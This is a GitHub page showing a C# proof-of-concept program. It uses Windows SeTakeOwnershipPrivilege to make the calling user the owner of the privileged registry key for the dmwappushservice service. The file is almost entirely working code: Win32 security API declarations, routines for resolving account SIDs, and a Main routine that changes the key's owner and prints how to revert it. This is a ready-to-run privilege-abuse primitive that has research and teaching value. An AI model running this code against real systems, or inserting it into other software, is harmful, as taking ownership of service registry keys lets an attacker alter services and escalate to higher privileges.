-
Notifications
You must be signed in to change notification settings - Fork 124
/
SeTakeOwnershipPrivilegePoC.cs
441 lines (375 loc) · 14.4 KB
/
SeTakeOwnershipPrivilegePoC.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Runtime.InteropServices;
namespace SeTakeOwnershipPrivilegePoC
{
class SeTakeOwnershipPrivilegePoC
{
/*
* P/Invoke : Enums
*/
[Flags]
enum FormatMessageFlags : uint
{
FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100,
FORMAT_MESSAGE_IGNORE_INSERTS = 0x00000200,
FORMAT_MESSAGE_FROM_STRING = 0x00000400,
FORMAT_MESSAGE_FROM_HMODULE = 0x00000800,
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000,
FORMAT_MESSAGE_ARGUMENT_ARRAY = 0x00002000
}
enum SE_OBJECT_TYPE
{
SE_UNKNOWN_OBJECT_TYPE,
SE_FILE_OBJECT,
SE_SERVICE,
SE_PRINTER,
SE_REGISTRY_KEY,
SE_LMSHARE,
SE_KERNEL_OBJECT,
SE_WINDOW_OBJECT,
SE_DS_OBJECT,
SE_DS_OBJECT_ALL,
SE_PROVIDER_DEFINED_OBJECT,
SE_WMIGUID_OBJECT,
SE_REGISTRY_WOW64_32KEY,
SE_REGISTRY_WOW64_64KEY
}
[Flags]
enum SECURITY_INFORMATION : uint
{
OWNER_SECURITY_INFORMATION = 0x00000001,
GROUP_SECURITY_INFORMATION = 0x00000002,
DACL_SECURITY_INFORMATION = 0x00000004,
SACL_SECURITY_INFORMATION = 0x00000008,
UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000,
UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000,
PROTECTED_SACL_SECURITY_INFORMATION = 0x40000000,
PROTECTED_DACL_SECURITY_INFORMATION = 0x80000000
}
enum SID_NAME_USE
{
SidTypeUser = 1,
SidTypeGroup,
SidTypeDomain,
SidTypeAlias,
SidTypeWellKnownGroup,
SidTypeDeletedAccount,
SidTypeInvalid,
SidTypeUnknown,
SidTypeComputer,
SidTypeLabel,
SidTypeLogonSession
}
/*
* P/Invoke : Win32 APIs
*/
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool ConvertSidToStringSid(
IntPtr /* PSID */ Sid,
out string StringSid);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
static extern int FormatMessage(
FormatMessageFlags dwFlags,
IntPtr lpSource,
int dwMessageId,
int dwLanguageId,
StringBuilder lpBuffer,
int nSize,
IntPtr Arguments);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern int GetNamedSecurityInfo(
string pObjectName,
SE_OBJECT_TYPE ObjectType,
SECURITY_INFORMATION SecurityInfo,
out IntPtr /* PSID* */ ppsidOwner,
out IntPtr /* PSID* */ ppsidGroup,
out IntPtr /* PACL* */ ppDacl,
out IntPtr /* PACL* */ ppSacl,
out IntPtr /* PSECURITY_DESCRIPTOR* */ ppSecurityDescriptor);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern int GetNamedSecurityInfo(
string pObjectName,
SE_OBJECT_TYPE ObjectType,
SECURITY_INFORMATION SecurityInfo,
out IntPtr /* PSID* */ ppsidOwner,
IntPtr ppsidGroup,
IntPtr ppDacl,
IntPtr ppSacl,
IntPtr ppSecurityDescriptor);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool LookupAccountName(
string lpSystemName,
string lpAccountName,
IntPtr /* PSID */ Sid,
ref int cbSid,
StringBuilder ReferencedDomainName,
ref int cchReferencedDomainName,
out SID_NAME_USE peUse);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool LookupAccountSid(
string lpSystemName,
IntPtr /* PSID */ Sid,
StringBuilder Name,
ref int cchName,
StringBuilder ReferencedDomainName,
ref int cchReferencedDomainName,
out SID_NAME_USE peUse);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern int SetNamedSecurityInfo(
string pObjectName,
SE_OBJECT_TYPE ObjectType,
SECURITY_INFORMATION SecurityInfo,
IntPtr /* PSID */ psidOwner,
IntPtr /* PSID */ psidGroup,
IntPtr /* PACL */ pDacl,
IntPtr /* PACL */ pSacl);
/*
* Win32 Const
*/
const int ERROR_SUCCESS = 0;
const int ERROR_INSUFFICIENT_BUFFER = 0x0000007A;
/*
* User defined functions
*/
static bool CompareIgnoreCase(string strA, string strB)
{
return (string.Compare(strA, strB, StringComparison.OrdinalIgnoreCase) == 0);
}
static bool ConvertAccountNameToSid(
ref string accountName,
out IntPtr pSid,
out SID_NAME_USE peUse)
{
int error;
bool status;
int cbSid = 8;
int cchReferencedDomainName = 256;
var domain = new StringBuilder(cchReferencedDomainName);
do
{
pSid = Marshal.AllocHGlobal(cbSid);
status = LookupAccountName(
null,
accountName,
pSid,
ref cbSid,
domain,
ref cchReferencedDomainName,
out peUse);
error = Marshal.GetLastWin32Error();
if (!status)
{
domain.Clear();
domain = new StringBuilder(cchReferencedDomainName);
Marshal.FreeHGlobal(pSid);
}
} while (error == ERROR_INSUFFICIENT_BUFFER && !status);
if (!status)
{
pSid = IntPtr.Zero;
Console.WriteLine("[-] Failed to resolve account name to SID.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return false;
}
ConvertSidToAccountName(pSid, out accountName, out peUse);
return true;
}
static bool ConvertSidToAccountName(
IntPtr pSid,
out string accountName,
out SID_NAME_USE peUse)
{
int error;
int cchName = 256;
int cchReferencedDomainName = 256;
var name = new StringBuilder(cchName);
var domain = new StringBuilder(cchReferencedDomainName);
if (!LookupAccountSid(
null,
pSid,
name,
ref cchName,
domain,
ref cchReferencedDomainName,
out peUse))
{
error = Marshal.GetLastWin32Error();
accountName = null;
Console.WriteLine("[-] Failed to resolve SID to account name.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return false;
}
if (string.IsNullOrEmpty(name.ToString()) &&
string.IsNullOrEmpty(domain.ToString()))
{
Console.WriteLine("[-] Failed to resolve SID to account name.");
accountName = null;
return false;
}
if (string.IsNullOrEmpty(name.ToString()))
{
accountName = domain.ToString();
}
else if (string.IsNullOrEmpty(domain.ToString()))
{
accountName = name.ToString();
}
else
{
accountName = string.Format(@"{0}\{1}", domain.ToString(), name.ToString());
}
return true;
}
static void DumpOwnerSidInformation(IntPtr pOwnerSid)
{
if (!ConvertSidToAccountName(
pOwnerSid,
out string accountName,
out SID_NAME_USE accountType))
{
return;
}
ConvertSidToStringSid(pOwnerSid, out string accountSidString);
Console.WriteLine("[*] Current Owner Information:");
Console.WriteLine(" |-> Name : {0}", accountName);
Console.WriteLine(" |-> SID : {0}", accountSidString);
Console.WriteLine(" |-> Type : {0}", accountType);
}
static IntPtr GetOwnerInformation(string path, SE_OBJECT_TYPE objectType)
{
int error;
error = GetNamedSecurityInfo(
path,
objectType,
SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION,
out IntPtr pSidOwner,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
if (error != ERROR_SUCCESS)
{
Console.WriteLine("[-] Failed to get owner information.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return IntPtr.Zero;
}
return pSidOwner;
}
static string GetWin32ErrorMessage(int code, bool isNtStatus)
{
int nReturnedLength;
int nSizeMesssage = 256;
var message = new StringBuilder(nSizeMesssage);
var dwFlags = FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM;
var pNtdll = IntPtr.Zero;
if (isNtStatus)
{
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
if (CompareIgnoreCase(Path.GetFileName(module.FileName), "ntdll.dll"))
{
pNtdll = module.BaseAddress;
dwFlags |= FormatMessageFlags.FORMAT_MESSAGE_FROM_HMODULE;
break;
}
}
}
nReturnedLength = FormatMessage(
dwFlags,
pNtdll,
code,
0,
message,
nSizeMesssage,
IntPtr.Zero);
if (nReturnedLength == 0)
return string.Format("[ERROR] Code 0x{0}", code.ToString("X8"));
else
return string.Format("[ERROR] Code 0x{0} : {1}", code.ToString("X8"), message.ToString().Trim());
}
static bool SetOwnerInformation(
string path,
SE_OBJECT_TYPE objectType,
IntPtr pSidOwner)
{
int error;
error = SetNamedSecurityInfo(
path,
objectType,
SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION,
pSidOwner,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
if (error != ERROR_SUCCESS)
{
Console.WriteLine("[-] Failed to set owner information.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return false;
}
else
{
return true;
}
}
static void Main()
{
string accountName = Environment.UserName;
string registryPath = @"MACHINE\SYSTEM\CurrentControlSet\Services\dmwappushservice";
var objectType = SE_OBJECT_TYPE.SE_REGISTRY_KEY;
IntPtr pInitialOwnerSid;
IntPtr pChangedOwnerSid;
Console.WriteLine("[*] If you have SeTakeOwnershipPrivilege, you can change owner of any files and registries to caller.");
Console.WriteLine("[*] This PoC tries to change owner of a privileged registry key to caller of this PoC.");
Console.WriteLine(" |-> Target : \"{0}\"", registryPath);
Console.WriteLine("[>] Trying to get caller account name and SID.");
if (!ConvertAccountNameToSid(
ref accountName,
out IntPtr pAccountSid,
out SID_NAME_USE peUserUse))
{
return;
}
else
{
ConvertSidToStringSid(pAccountSid, out string accountSidString);
Console.WriteLine("[+] Got current account name and SID.");
Console.WriteLine("[*] Current Account Information:");
Console.WriteLine(" |-> Name : {0}", accountName);
Console.WriteLine(" |-> SID : {0}", accountSidString);
Console.WriteLine(" |-> Type : {0}", peUserUse);
}
Console.WriteLine("[>] Trying to get current owner information.");
pInitialOwnerSid = GetOwnerInformation(registryPath, objectType);
if (pInitialOwnerSid == IntPtr.Zero)
return;
DumpOwnerSidInformation(pInitialOwnerSid);
Console.WriteLine("[>] Trying to change owner to \"{0}\".", accountName);
if (!SetOwnerInformation(
registryPath,
objectType,
pAccountSid))
{
return;
}
else
{
Console.WriteLine("[+] Owner is changed successfully.");
}
Console.WriteLine("[>] Trying to get current owner information.");
pChangedOwnerSid = GetOwnerInformation(registryPath, objectType);
if (pChangedOwnerSid == IntPtr.Zero)
return;
DumpOwnerSidInformation(pChangedOwnerSid);
Console.WriteLine("[*] To revert owner, follow either of the following steps:");
Console.WriteLine(" (1) Execute this PoC again as original owner with SeTakeOwnershipPrivilege.");
Console.WriteLine(" (2) Edit from regedit.exe manualy:");
Console.WriteLine(" (a) Open regedit.exe.");
Console.WriteLine(" (b) Right click and open [Permissions] of the modified registry key.");
Console.WriteLine(" (c) Open [Advanced] and change [Owner] to the original owner.\n");
}
}
}